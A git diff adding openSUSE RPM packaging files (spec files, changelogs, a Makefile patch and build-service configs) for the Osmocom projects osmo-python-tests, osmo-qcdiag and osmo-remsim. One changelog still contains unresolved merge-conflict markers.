+Tue Dec 17 21:06:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1576583006.4a7a208:
+ * update version to 0.2.0 to mark python2 deprecation
+
+-------------------------------------------------------------------
+Thu Dec 12 21:07:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1576063720.934caf1:
+ * Drop python2 support (again)
+
+-------------------------------------------------------------------
+Fri Dec 06 21:16:58 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1575644798.b0ba927:
+ * Revert "Drop python2 support"
+ * Drop python2 support
+
+-------------------------------------------------------------------
+Thu Nov 14 19:49:02 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1572496351.fb4b813:
+ * osmo_interact_vty.py: fix py3 encoding bug
+ * vty.py: Fix endl removed when pkt buffer content ends exactly on a newline char
+ * tweak README
+ * osmo_trap2cgi.py: Don't recurse in ctrl_client()
+ * osmo-trap2cgi: Remove invalid specifier for /etc
+ * deb: fix wrong changelog date
+ * osmo-trap2cgi: Fix script installation and dependencies
+ * Add initial version of asyncio trap2cgi script
+ * ctrl2cgi: update shared helper
+ * Mark soap.py as deprecated
+ * ctrl2cgi: update default parameters in config
+ * ctrl2cgi: explicitly ignore unrelated TRAPs
+ * ctrl2cgi: update comments
+ * ctrl2cgi: account wait and http times separately
+ * scripts/*.py: mark as executable
+ * twisted: remove low-level logging in dispatchers
+ * Trap handlers: adjust http error log
+ * ctrl2cgi: make http request timeout configurable
+ * ctrl2cgi: log request time
+ * Trap handlers: log request/reply as info level
+ * Trap handlers: propagate expected BSC id to command processor
+ * ctrl2cgi: add config file example
+ * ctrl2cgi: properly limit number of requests
+ * ctrl2cgi: fix broken config override
+ * Trap handlers: always log to stdout
+ * Improve code style
+ * Move command processing into shared function
+ * Drop unused Trap() class
+ * ctrl2cgi: fix deferred callbacks
+ * osmo_ctrl.py: properly ignore out-of-order traps
+ * ctrl: add function to skip TRAP messages
+ * ctrl: cosmetic cleanup
+ * Move Trap class back to separate files
+ * Update trap helper
+ * Re-apply changes to trap_helper.py
+ * Move common Trap-related code into separate file
+ * osmo_ipa: update split_combined docs
+ * osmo_ipa: add extended checks
+ * ctrl: introduce constant for TRAP id
+ * ctrl2cgi: remove unused function
+ * ctrl2cgi: explicitly ignore arguments to lambda function
+ * ctrl2cgi: log traps via debug facility
+ * ctrl2cgi.py: log address on errors
+ * make osmpy IPA code aware of RSPRO
+ * osmo-ctrl2cgi.service: Fix exec path not absolute
+ * osmo_interact/common: ignore trailing empty lines in received results
+ * osmo_interact/vty.py: fix parsing of vty logging
+ * ctrl2cgi: Add systemd service file and install with debian
+ * debian: Add python module deps for python3-osmopy-utils
+ * Introduce script ctrl2cgi.py
+
+-------------------------------------------------------------------
+Wed Jul 11 20:31:02 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1531310728.8739f9c:
+ * Move twisted_ipa.py to osmopy lib
+
+-------------------------------------------------------------------
+Tue Jun 26 18:46:03 UTC 2018 - mardnh@gmx.de
+
+- Initial package
diff --git a/rpm-local/spec/osmo-python-tests/osmo-python-tests.spec b/rpm-local/spec/osmo-python-tests/osmo-python-tests.spec
new file mode 100644
index 0000000..6060a99
--- /dev/null
+++ b/rpm-local/spec/osmo-python-tests/osmo-python-tests.spec
@@ -0,0 +1,68 @@
+#
+# spec file for package osmo-python-tests
+#
+# Copyright (c) 2018, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+%{?!python_module:%define python_module() python-%{**} python3-%{**}}
+Name: osmo-python-tests
+Version: 0.0.0.git1576583006.4a7a208
+Release: 0
+Summary: Osmopython: Osmocom testing scripts
+License: AGPL-3.0-or-later AND GPL-2.0-or-later
+Group: Development/Languages/Python
+URL: https://git.osmocom.org/python/osmo-python-tests/
+Source: %{name}-%{version}.tar.xz
+BuildRequires: %{python_module Twisted}
+BuildRequires: %{python_module setuptools}
+BuildRequires: fdupes
+BuildRequires: python-rpm-macros
+BuildArch: noarch
+%python_subpackages
+
+%description
+Python code (not only) for testing of Osmocom programs.
+
+%prep
+%setup -q
+# drop shebang
+find osmopy/ -name "*.py" -exec sed -i -e '/^#!\//, 1d' {} \;
+
+%build
+%python_build
+
+%install
+%python_install
+%python_expand %fdupes %{buildroot}%{$python_sitelib}
+
+%check
+%python_exec setup.py test
+
+%files %{python_files}
+%doc README
+%python3_only %{_bindir}/osmo_ctrl.py
+%python3_only %{_bindir}/osmo_interact_ctrl.py
+%python3_only %{_bindir}/osmo_interact_vty.py
+%python3_only %{_bindir}/osmo_rate_ctr2csv.py
+%python3_only %{_bindir}/osmo_verify_transcript_ctrl.py
+%python3_only %{_bindir}/osmo_verify_transcript_vty.py
+%python3_only %{_bindir}/osmodumpdoc.py
+%python3_only %{_bindir}/osmotestconfig.py
+%python3_only %{_bindir}/osmotestvty.py
+%python3_only %{_bindir}/soap.py
+%python3_only %{_bindir}/ctrl2cgi.py
+%python3_only %{_bindir}/osmo_trap2cgi.py
+%{python_sitelib}/*
+
+%changelog
diff --git a/rpm-local/spec/osmo-qcdiag/0003-Fix-Makefile.patch b/rpm-local/spec/osmo-qcdiag/0003-Fix-Makefile.patch
new file mode 100644
index 0000000..cc5554c
--- /dev/null
+++ b/rpm-local/spec/osmo-qcdiag/0003-Fix-Makefile.patch
@@ -0,0 +1,22 @@
+From 316f6727e00a80d354dce4cd6287d87378e049d2 Mon Sep 17 00:00:00 2001
+From: Martin Hauke <mardnh@gmx.de>
+Date: Wed, 28 Dec 2016 14:52:40 +0100
+Subject: [PATCH] Fix Makefile
+
+---
+ src/Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/Makefile b/src/Makefile
+index 073268d..296494b 100644
+--- a/src/Makefile
++++ b/src/Makefile
+@@ -1,4 +1,4 @@
+-CPPFLAGS ?= -g -O0 -Wall `pkg-config --cflags libosmocore` `pkg-config --cflags qmi-glib`
++CPPFLAGS += -g -Wall `pkg-config --cflags libosmocore` `pkg-config --cflags qmi-glib`
+ LIBS ?= `pkg-config --libs libosmocore` `pkg-config --libs qmi-glib`
+ all: osmo-qcdiag-log
+
+--
+2.6.6
+
diff --git a/rpm-local/spec/osmo-qcdiag/_service b/rpm-local/spec/osmo-qcdiag/_service
new file mode 100644
index 0000000..57cece5
--- /dev/null
+++ b/rpm-local/spec/osmo-qcdiag/_service
@@ -0,0 +1,17 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-qcdiag</param>
+ <param name="revision">master</param>
+ <param name="versionformat">git%ct.%h</param>
+ <param name="versionprefix">0.0.0</param>
+ <param name="package-meta">yes</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="compression">xz</param>
+ <param name="file">*.tar</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ </service>
+</services>
diff --git a/rpm-local/spec/osmo-qcdiag/_servicedata b/rpm-local/spec/osmo-qcdiag/_servicedata
new file mode 100644
index 0000000..b955b8c
--- /dev/null
+++ b/rpm-local/spec/osmo-qcdiag/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-qcdiag</param>
+ <param name="changesrevision">cb5d8473d73ae42168f39383acd62c7ca42de04a</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-qcdiag/osmo-qcdiag.changes b/rpm-local/spec/osmo-qcdiag/osmo-qcdiag.changes
new file mode 100644
index 0000000..d4e86dd
--- /dev/null
+++ b/rpm-local/spec/osmo-qcdiag/osmo-qcdiag.changes
@@ -0,0 +1,89 @@
+-------------------------------------------------------------------
+Sat Feb 10 15:04:07 UTC 2018 - mardnh@gmx.de
+
+- Specfile cleanup
+
+-------------------------------------------------------------------
+Wed Feb 01 12:04:03 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1485275799.cb5d847:
+ * Add support for DIAG EVENT reporting
+ * diag_msg: Mark dispatch table as 'const'
+ * Add python tools that (partially) parse the QXDM database
+ * add *.pyc to .gitignore
+ * Add python script to generate 'struct value_string' from enum
+ * qxdm_db.py: Move value_string code generator to separate file
+ * python scripts: Generate file header with #include statements
+ * Add python script to generate value_string from file with #defines
+ * add missing gprs_l1.c file
+ * move variable declarations out of the 'for' loop
+
+-------------------------------------------------------------------
+Sun Jan 22 09:19:12 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1484994164.cf854ca:
+ * DPL: consequently use struct dpl_iid rather than uint32_t
+ * diag_io.c: remove left-over 'rc=%d' print
+ * replace old magic numbers with proper #defines
+ * Genreate GSMTAP messages from raw received DIAG frames
+ * WIP: Enable PCAP generation in modem
+ * diag_read_msg(): Discard any messages shorter than 3 bytes
+ * Generate GSMTAP messages from raw received DIAG frames
+ * separate diag_log_umts to diag_log_wcdma
+ * patch %s out of format strings received from phone
+ * also log config request/response messages via GSMTAP
+ * fix gen_log_config_set_mask()
+ * fix diag_umts_rrc_chtype and add more diag_log_code_wcdma
+ * WIP: SIM Card logging
+ * add missing diag_dpl.h to repo
+ * update .gitignore
+ * add LLC XID information decode
+ * diag_log_gprs: Cosmetic change in re-ordering the log_dispatch_tbl
+ * Add (E)GPRS MAC ACK/NACK log support
+ * diag_log_gprs_rlc.h: More log message definitions
+ * WIP: More WCDMA/RRC decoding
+ * gprs: handle RLC uplink/downlink ack/nack params
+ * Enable + Interpret more GPRS related logging
+ * decoder for RLC-EPDAN, MDSP-CMD, L2-STATE and L2-TRANSM-STATUS
+ * decode L2 channel type
+ * fix various compilation warnings all over the code
+ * diag_msg: Don't replace second character of every msg with 'p'
+
+-------------------------------------------------------------------
+Sun Jan 01 19:32:21 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1483296710.3b144a2:
+ * fix typos
+ * WIP: gsmtap
+ * fix DIAG timestamp conversion routines + add comments
+ * fixup dpl
+ * restructuring: Introduce _transceive_ functions for Tx-then-Rx
+ * add ability to hexdump all received and transmitted messages
+ * diag_msgc: Parse responses
+ * remove Tx/Rx debugging from diag_io.c
+ * diag_log: rough verification if response matches request
+ * diag_msg: Include subsys_id in printed message
+ * diag_msg: endian fixes
+ * fixup dpl
+ * don't use magic numbers if we have #defines
+ * register diag_msg via the diag_cmd dispatch table
+ * add printing of DIAG_QSR_EXT_MSG_TERSE_F
+ * diag_cmd: Print error messages for bad {command, length, parameter}
+ * diag_push_subsys_hdr(): subsystem code is 16bits
+ * DPL: add parsing of results from modem
+
+-------------------------------------------------------------------
+Wed Dec 28 14:58:03 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1482934358.af23515:
+ * Fix no-return-in-nonvoid-functions in osmo-qcdiag-log.c
+ * Fix typos
+- removed patches (fixed upstream):
+ - 0001-Fix-no-return-in-nonvoid-functions-in-osmo-qcdiag-lo.patch
+ - 0002-Fix-typos.patch
+
+-------------------------------------------------------------------
+Wed Dec 28 13:20:00 UTC 2016 - mardnh@gmx.de
+
+- initial package
+
diff --git a/rpm-local/spec/osmo-qcdiag/osmo-qcdiag.spec b/rpm-local/spec/osmo-qcdiag/osmo-qcdiag.spec
new file mode 100644
index 0000000..c80eba2
--- /dev/null
+++ b/rpm-local/spec/osmo-qcdiag/osmo-qcdiag.spec
@@ -0,0 +1,57 @@
+#
+# spec file for package osmo-qcdiag
+#
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+Name: osmo-qcdiag
+Version: 0.0.0.git1485275799.cb5d847
+Release: 0
+Summary: Osmocom tools for Qualcomm DIAG
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Utilities
+URL: http://cgit.osmocom.org/osmo-qcdiag/
+Source: %{name}-%{version}.tar.xz
+Patch2: 0003-Fix-Makefile.patch
+BuildRequires: pkgconfig
+BuildRequires: pkgconfig(libosmocore)
+BuildRequires: pkgconfig(libosmogsm)
+BuildRequires: pkgconfig(qmi-glib)
+
+%description
+Utility to configure Qualcomm DIAG, read, decode and display the
+DIAG messages. It can enable logging and format/print the log
+messages generated by the various subsystems of the baseband.
+
+%prep
+%setup -q
+%patch2 -p1
+
+%build
+export CPPFLAGS="%{optflags}"
+make -C src/ %{?_smp_mflags}
+
+%install
+install -Dm 0755 src/osmo-qcdiag-log %{buildroot}/%{_bindir}/osmo-qcdiag-log
+install -Dm 0755 src/color_rxlev.pl %{buildroot}/%{_bindir}/color_rxlev.pl
+
+%files
+%license COPYING
+%doc README HISTORY TODO
+%doc doc
+%{_bindir}/osmo-qcdiag-log
+%{_bindir}/color_rxlev.pl
+
+%changelog
diff --git a/rpm-local/spec/osmo-remsim/_service b/rpm-local/spec/osmo-remsim/_service
new file mode 100644
index 0000000..db81ee0
--- /dev/null
+++ b/rpm-local/spec/osmo-remsim/_service
@@ -0,0 +1,17 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-remsim</param>
+ <param name="revision">master</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="exclude">.git</param>
+ <param name="package-meta">no</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="compression">xz</param>
+ <param name="file">*.tar</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ </service>
+</services>
diff --git a/rpm-local/spec/osmo-remsim/_servicedata b/rpm-local/spec/osmo-remsim/_servicedata
new file mode 100644
index 0000000..e84b574
--- /dev/null
+++ b/rpm-local/spec/osmo-remsim/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-remsim</param>
+ <param name="changesrevision">b97e2fb573501d202f934c9a5c9843d4690ba6b1</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-remsim/osmo-remsim.changes b/rpm-local/spec/osmo-remsim/osmo-remsim.changes
new file mode 100644
index 0000000..623731d
--- /dev/null
+++ b/rpm-local/spec/osmo-remsim/osmo-remsim.changes
@@ -0,0 +1,600 @@
+-------------------------------------------------------------------
+Sun May 03 20:04:33 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.2.2.86:
+ * user_simtrace2: Stop using printf, use libosmocore logging
+
+-------------------------------------------------------------------
+Sat Mar 14 21:03:55 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.2.2.85:
+ * introduce --disable-remsim-client-{st2,ifdhanndler}
+ * rspro_util.c: Use %zu for size_t
+
+-------------------------------------------------------------------
+Thu Mar 12 21:03:46 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.2.2.83:
+ * debian: Ensure osmo-remsim-client-st2 package only contains st2 binary
+
+-------------------------------------------------------------------
+Wed Mar 11 21:05:21 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.2.2.82:
+ * debian: osmo-remsim-client-s2 'Replaces' osmo-remsim-client
+
+-------------------------------------------------------------------
+Fri Mar 06 21:03:49 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.2.2.81:
+ * fix config defaults for systemd startscripts
+
+-------------------------------------------------------------------
+Wed Mar 04 21:03:43 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.2.2.80:
+ * debian/control: Fix typo (package->Package)
+ * client: Avoid useless depedency to libosmosim
+ * bankd: Avoid useless dependency to libosmosim
+ * libosmo-rspro: Avoid useless dependency to libosmo-abis
+ * Avoid useless dependency on libcsv
+ * libosmo-rspro: Avoid useless dependency to libosmogsm
+ * debian: split osmo-remsim-client into osmo-remsim-client-{shell,st2}
+ * contrib/jenkins.sh: Harmonize with what we do in other projects
+ * Install config files to /etc/default/
+ * configure.ac + debian: Add systemd service file support
+ * configure/Makefile: Include contrib in "make dist"
+ * client: Fix TODO: add CLK status information to event-script environment
+ * client: major restructuring around new main_fsm
+ * configure/automake: Remove work-arounds
+ * fix debian build after introducing hack around usbdropdir
+ * rspro_client_fsm: Add optional notifiation of parent on connect/disconnect
+ * rspro_client_fsm: Migrate to ipa_client_conn_create2()
+ * doc: Add documentation for remsim-apitool.py
+ * doc: More cross-references; Expand overview slightly
+ * doc: Add WARNINGs about lack of security in protocols
+ * doc: generalize the remsim-client part in the overview section
+ * client: Fix 'make distcheck' bypassing pkg-config usbdropdir
+ * client: ifd_handler (PC/SC reader driver) as remsim-client
+ * client: Add diagram for osmo-remsim-st2 use case
+ * client: document osmo-remsim-client-shell
+ * src/Makefile.am: Build src directory (libosmo-rspro) before sub-directories
+ * contrib: Add owhw-event-script.sh for osmo-remsim-client
+
+-------------------------------------------------------------------
+Tue Mar 03 21:03:46 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.2.2.53:
+ * update .gitignore
+
+-------------------------------------------------------------------
+Sat Feb 22 21:05:27 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.2.2.52:
+ * client: Work around "stock on PTS" problem
+
+-------------------------------------------------------------------
+Fri Feb 21 21:05:42 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.2.2.51:
+ * server: Don't accept out-of-range bank/client/slot numbers on REST
+ * client: user_shell.c: Don't echo stdin on stdout
+ * client: user_shell.c: fflush() after writes to stdout
+ * client: Make ConfigClientBankReq with bankd_port == 0 trigger SRVC_E_DISCONNECT
+ * rspro_client_fsm: Add SRVC_E_DISCONNECT to disconnect from RSPRO server
+
+-------------------------------------------------------------------
+Sun Feb 16 21:09:11 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.2.2.46:
+ * server: Send ConfigClientBankReq with bankd_port == 0 on map delete
+ * server: don't dereference map before OSMO_ASSERT() in _update_client_for_slotmap()
+ * client: Split into remsim_client.c and remsim_client_main.c
+ * client: Remove g_client completely; separate 'main' code
+ * client: Work without global g_client variable
+ * client: Add new osmo-remsim-client-shell binary
+ * client: Adjust to API changes; enable build of remsim-client again
+ * remsim-client: Call an external script in specific situations
+ * remsim-client: Query + Store the USB device path
+ * remsim-client: store last 'status'
+ * remsim-client: Move client_config from .c to .h file
+ * remsim-client: Avoid using 'ci' global variable
+ * remsim-client: Fix the -k/ --keep-running option
+ * remsim-client: move from common 'src' directory to 'src/client'
+
+-------------------------------------------------------------------
+Sat Feb 15 21:04:58 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.2.2.32:
+ * remsim_client: Move body of main() loop to separate function
+ * client: Enable talloc NULL context tracking
+ * remsim-client: Introduce 'struct client_config'
+
+-------------------------------------------------------------------
+Mon Jan 13 21:12:24 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.2.2.29:
+ * require minimum version 1.3.0 of libosmocore
+
+-------------------------------------------------------------------
+Wed Dec 18 21:19:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.2.28:
+ * fix the package we depend on: libosmosimtrace2-dev
+ * debian/control: Add missing Build-Requires libosmo-simtrace2
+
+-------------------------------------------------------------------
+Tue Dec 17 21:05:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.2.26:
+ * bankd: Implement card reset based on clientSlotStatusInd
+ * client: generate clientSlotStatusInd to bankd
+ * rspro_util: Add functions generating {Bank,Client}SlotStatusInd
+ * remsim_client: Port to async libosmousb select loop
+ * jenkins.sh: don't verify (possibly outdated) deps
+ * remsim-client: Port from local copy to libosmousb + libosmo-simtrace2
+ * bankd: Introduce SIGMAPADD to tell worker about new mapping
+ * bankd: Factor out signal-sending from bankd_srvc_remove_mapping()
+
+-------------------------------------------------------------------
+Mon Dec 16 21:08:52 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.2.18:
+ * rspro_client_fsm: Fix handling of IPA keepalive
+ * rspro_client_fsm: Fix uninitialized return variable use
+
+-------------------------------------------------------------------
+Sun Dec 15 21:06:29 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.2.16:
+ * rspro_client_fsm(): Remove outdated/wrong comment from code
+ * rspro_client_fsm: Mark ipa_client_conn_send_rspro() as static
+ * remsim-client: Differentiate the two rspro_client_fsm instances by name
+ * Replace bankd_client_fsm with rspro_client_fsm
+ * rspro_client_fsm: Make RSPRO transmit use FSM event
+ * rspro_client_fsm: Disable automatic connect on FSM allocation
+
+-------------------------------------------------------------------
+Thu Dec 05 21:03:37 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.2.10:
+ * add missing debian/libosmo-rspro1.install
+ * bankd: No need to handle SIGMAPDEL if we're not mapped yet
+ * bankd: Implement new ResetStateReq
+ * Add "--version" to all executables to print compile-time version info
+ * RSPRO: Add new ResetState{Req,Res}
+ * bankd: initialize bank_id/slot_nr to 0xffff for unmapped workers
+ * bankd: Reject removeSlotmap when ClientID doesn't match
+ * bankd: createMapping should implicitly delete existing mappings
+ * bankd: Fix log print during removeMapping
+
+-------------------------------------------------------------------
+Wed Dec 04 21:04:39 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.2.1:
+ * bankd_main: Refactor code: bankd_srvc_remove_mapping()
+ * Bump version: 0.2.1.10-35d9-dirty → 0.2.2
+
+-------------------------------------------------------------------
+Tue Dec 03 21:03:57 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.1.10:
+ * bankd: send IPA CCM ID_ACK after receiving ID_ACK
+ * cosmetic: more comments; spelling fixes in comments
+
+-------------------------------------------------------------------
+Sun Dec 01 21:13:57 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.1.8:
+ * Check for osmo_fsm_register() error return value
+
+-------------------------------------------------------------------
+Fri Nov 22 21:21:39 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.1.7:
+ * bankd_client_fsm: close IPA client connection before re-establishing it
+
+-------------------------------------------------------------------
+Tue Sep 17 20:05:46 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.1.6:
+ * client: fix help strings
+ * remsim-apitool.py: pass IDs as integer
+
+-------------------------------------------------------------------
+Fri Sep 13 20:03:13 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.1.4:
+ * rspro_dec_msg: Simplify msgb ownership handling
+ * remsim-apitool: Fix slotmap-create (integer needed, not string!)
+
+-------------------------------------------------------------------
+Thu Aug 08 21:58:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.1.2:
+ * add contrib/remsim-apitool.py to control the REST-interface of osmo-remsim-server
+
+-------------------------------------------------------------------
+Wed Jul 24 20:38:37 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.1.1:
+ * rspro_client_fsm: Fix another memory leak
+
+-------------------------------------------------------------------
+Tue Jul 23 20:18:39 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.1.0:
+ * Bump version: 0.2.0.4-573d → 0.2.1
+ * debian: build manuals as osmo-remsim-doc package
+ * doc/manuals: Use correct path (osmo-remsim-doc)
+ * usermanual: disable non-existant architecture chapter
+ * rspro_client_fsm/remsim_client: Fix double-free
+
+-------------------------------------------------------------------
+Sun Jul 21 20:11:40 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.0.0:
+ * Bump version: 0.1.0.29-e7f7 → 0.2.0
+ * server: rest_api: Fix memory leak in slotmap post
+ * track libulfius and jansson memory allocations with talloc
+
+-------------------------------------------------------------------
+Sat Jul 20 20:04:00 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.1.0.28:
+ * rspro_client_fsm: Fix memory leak processing RSPRO
+ * remsim_client: Fix memory leak receiving RSPRO messages
+ * rspro_server.c: Fix memory leak in processing inbound RSPRO
+
+-------------------------------------------------------------------
+Thu Jul 18 20:13:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.1.0.25:
+ * remsim_client: Enable talloc tracking of msgb allocations
+ * remsim_server: Enable talloc tracking of msgb allocations
+ * Fix common misspellings and typos
+
+-------------------------------------------------------------------
+Thu Jul 11 20:23:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.1.0.22:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Wed Jul 10 20:19:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.1.0.21:
+ * add examples to remsim-server (json output)
+ * add examples to the command line options for remsim-bankd and remsim-client
+
+-------------------------------------------------------------------
+Thu Jun 13 20:16:51 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.1.0.19:
+ * osmo-remsim-client: add systemd service script template and etc/default configs
+
+-------------------------------------------------------------------
+Wed May 29 20:04:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.1.0.18:
+ * doc: Describe how to obtains PC/SC reader string names
+ * osmo-remsim-bankd: add systemd service script and etc/default config
+ * osmo-remsim-server: add systemd service script
+ * osmo-remsim-bankd: Fix typo in help for --num-slots
+
+-------------------------------------------------------------------
+Wed May 08 20:05:39 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.1.0.14:
+ * bankd: Don't read CSV file until _after_ handling options
+ * doc: REST API url is /banks, not /bankds
+
+-------------------------------------------------------------------
+Thu Apr 11 20:04:29 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.1.0.12:
+ * README.md: add 'osmo-' prefix to remsim-{server,bankd,client}
+
+-------------------------------------------------------------------
+Wed Apr 03 15:36:58 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.1.0.11:
+ * update .gitignore
+ * configure.ac: Add --disable-remsim-bankd
+ * configure.ac: Add --disable-remsim-server
+ * debian/control: add missing libcsv dependency
+ * Add Debian packaging information
+ * rename executables to include osmo- name prefix
+ * Add libosmo-rspro.pc.in for pkg-config integration
+ * Makefile.am: Fix dependency of server on libosmo-rspro.la
+
+-------------------------------------------------------------------
+<<<<<<< ./osmo-remsim.changes.mine
+Wed Apr 3 15:30:12 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 0.1.0.11:
+ * configure.ac: Add --disable-remsim-bankd
+ * configure.ac: Add --disable-remsim-server
+ * debian/control: add missing libcsv dependency
+ * Add Debian packaging information
+ * rename executables to include osmo- name prefix
+ * Add libosmo-rspro.pc.in for pkg-config integration
+ * Makefile.am: Fix dependency of server on libosmo-rspro.la
+ * cosmetic: remove some FIXME that actually are already fixed
+ * bankd: Use configured bank_id/nr_slots in ConnectBankReq
+ * bankd: move bank_id / num_slots from g_bankd to remsim_srv_conn
+- Drop patch:
+ * 0001-remsim-server-Fix-linking-order.patch (fixed upstream)
+
+-------------------------------------------------------------------
+=======
+Tue Apr 02 20:04:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1554231376.f511667:
+ * cosmetic: remove some FIXME that actually are already fixed
+
+-------------------------------------------------------------------
+Mon Apr 01 20:04:13 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1554145622.4fa407a:
+ * bankd: Use configured bank_id/nr_slots in ConnectBankReq
+ * bankd: move bank_id / num_slots from g_bankd to remsim_srv_conn
+
+-------------------------------------------------------------------
+>>>>>>> ./osmo-remsim.changes.r186
+Mon Apr 1 18:15:10 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Add patch:
+ * 0001-remsim-server-Fix-linking-order.patch
+
+-------------------------------------------------------------------
+Mon Apr 01 10:23:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1554109444.0138bb4:
+ * manuals: remove <<>> from RSPRO to fix rendering
+ * manuals: Add description from README.md to manual
+ * server: Fix dependency on libosmo-rspro.la
+ * Add initial osmo-remsim usermanual
+ * remsim_client: Reduce simtrace timeout from 100s to 1s
+ * rspro_util.c: Disable printf debugging
+ * bankd: Add command-line arguments for IP/port/etc configuration
+ * improve talloc memory leak debugging
+ * fixup warnings
+
+-------------------------------------------------------------------
+Sun Mar 31 20:04:02 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1554038009.13d0f8c:
+ * disable slotmap debugging
+ * rspro_server: Fix Warnings about unused variables
+ * rspro_server: Configure client's bankd parameters (nr/slot/ip/port)
+ * client/server: log failed attempts to transmit/encode RSPRO
+ * bankd: Don't fail on RsproPDUchoice_PR_setAtrRes
+ * bankd: log incoming RSPRO
+ * rspro_server: Treat keepalive timeouts (by closing connection)
+ * rspro_server: Give proper name to IPA_KEEPALIVE FSMs
+ * rspro_server: Print human-readable message type instead of numeric value
+ * rspro_server: Add client_conn_by_slot() API function
+ * rspro_util: We don't deal with network byte order, asn1c takes care of that
+ * rspro_server: Split CONNECTED into CLIENT and BANKD specific states
+ * rspro_server: Add more comments
+ * rspro_server: Fix log output in client_conn_send()
+ * rspro_util: Fix typo in rspro_gen_ConfigClientIdReq()
+ * client: Allow specification of clientId / slotNr as command line arguments
+ * client: Sort getopt-long like getopt like help message
+ * client: transmit RSPRO via bankd_conn_fsm
+ * bankd/client: Fix memory leak if rspro_enc_msg() fails
+ * client: Fix initialization order: logging first
+ * client: Default server port is 9998, not 9999
+ * client: Use stack instead of heap when possible
+ * remsim_client: Use bankd_conn_send_rspro() where applicable
+ * cosmetic: fix typo in comment
